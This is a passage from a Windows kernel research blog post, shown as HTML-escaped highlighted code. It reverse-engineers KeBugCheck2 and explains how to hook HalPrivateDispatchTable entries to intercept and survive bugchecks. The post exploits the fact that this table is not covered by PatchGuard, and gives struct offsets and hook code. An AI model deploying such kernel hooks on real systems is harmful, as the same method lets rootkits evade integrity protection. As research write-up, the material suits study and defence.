&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;NmiData&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;NmiIdx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;NmiIdx&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;KiNmiInProgress&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;NoNmi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;NmiFlag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;NoNmi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Call HalPrepareForBugcheck from HalPrivateDispatchTable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalPrepareForBugcheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NmiFlag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Windows 10:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// We will come back to this later...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;IsMaster&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;HowAmISupposedToQuitFromThisSpinlockLol&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Call HalTimerWatchdogStop from HalPrivateDispatchTable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalTimerWatchdogStop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Mask 0x2000 off HV enlightenments
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HvlEnlightenments&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;=&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0x4000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Save BugCheck progress, what ???
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;IoSaveBugCheckProgress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// KiNmiInProgress checks
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;NmiFlag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;KeIsEmptyAffinityEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;KiNmiInProgress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Call HalPrepareForBugcheck from HalPrivateDispatchTable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalPrepareForBugcheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NmiFlag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We finally find what we wanted. Now given that I didn&amp;rsquo;t reverse the bugcheck routines because I was deeply interested in how Windows managed to draw a sad face, this means we can exploit something here. Take a guess, hint: HalPrivateDispatchTable. Where does HalPrivateDispatchTable reside? .data. Is it protected by PatchDoggo? Nope.&lt;/p&gt;
&lt;h2 id="0x3-byeblue"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; ByeBlue&lt;/h2&gt;
&lt;p&gt;We want to hook as early as possible within this routine, so we&amp;rsquo;ll go for HalTimerWatchdogStop where possible (dispatch table version version &amp;gt;= 23) and HalPrepareForBugcheck otherwise. First, let&amp;rsquo;s declare the table definition:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Define HAL_PRIVATE_DISPATCH_TABLE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define HAL_PDT_PREPARE_FOR_BUGCHECK_OFFSET 0x108
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION 6
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;FnHalPrepareForBugcheck&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kr"&gt;__stdcall&lt;/span&gt; &lt;span class="p"&gt;)(&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt; &lt;span class="n"&gt;NmiFlag&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define HAL_PDT_TIMER_WATCHDOG_STOP_OFFSET 0x338
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION 23
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;FnHalTimerWatchdogStop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kr"&gt;__stdcall&lt;/span&gt; &lt;span class="p"&gt;)();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#pragma pack(push, 1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="nc"&gt;_HAL_PRIVATE_DISPATCH_TABLE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;union&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ULONG&lt;/span&gt; &lt;span class="n"&gt;Version&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;Pad0&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;HAL_PDT_PREPARE_FOR_BUGCHECK_OFFSET&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;FnHalPrepareForBugcheck&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;HalPrepareForBugcheck&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;Pad1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;HAL_PDT_TIMER_WATCHDOG_STOP_OFFSET&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;FnHalTimerWatchdogStop&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;HalTimerWatchdogStop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;HAL_PRIVATE_DISPATCH_TABLE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#pragma pack(pop)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Import HalPrivateDispatchTable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;//
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;extern&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;C&amp;#34;&lt;/span&gt; &lt;span class="kr"&gt;__declspec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;dllimport&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;HAL_PRIVATE_DISPATCH_TABLE&lt;/span&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hooking the table is very simple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Version&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Hook HalTimerWatchdogStop
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;HalTimerWatchdogStopOrig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalTimerWatchdogStop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalTimerWatchdogStop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HkHalTimerWatchdogStop&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nf"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Version&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Hook HalPrepareForBugcheck
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;HalPrepareForBugcheckOrig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalPrepareForBugcheck&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;HalPrivateDispatchTable&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HalPrepareForBugcheck&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HkHalPrepareForBugcheck&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Small note, within HkHalTimerWatchdogStop we need to check whether the return address is within KeBugCheck2 or not just incase it is called from somewhere else.&lt;/p&gt;
&lt;p&gt;Now we need to extract the CONTEXT of the interrupted routine from KeBugCheck2 in order to be able to continue execution. We can simply parse the arguments like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt; &lt;span class="n"&gt;BugCheckCode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ULONG64&lt;/span&gt; &lt;span class="n"&gt;BugCheckArgs&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ULONG64&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PrcbContext&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x28&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Collect information about the exception based on bugcheck code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;BugCheckCode&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nl"&gt;UNEXPECTED_KERNEL_MODE_TRAP&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// No context formed, read from trap frame, can ignore exception frame
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// as it should be the same as KeBugCheckEx caller context
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;//
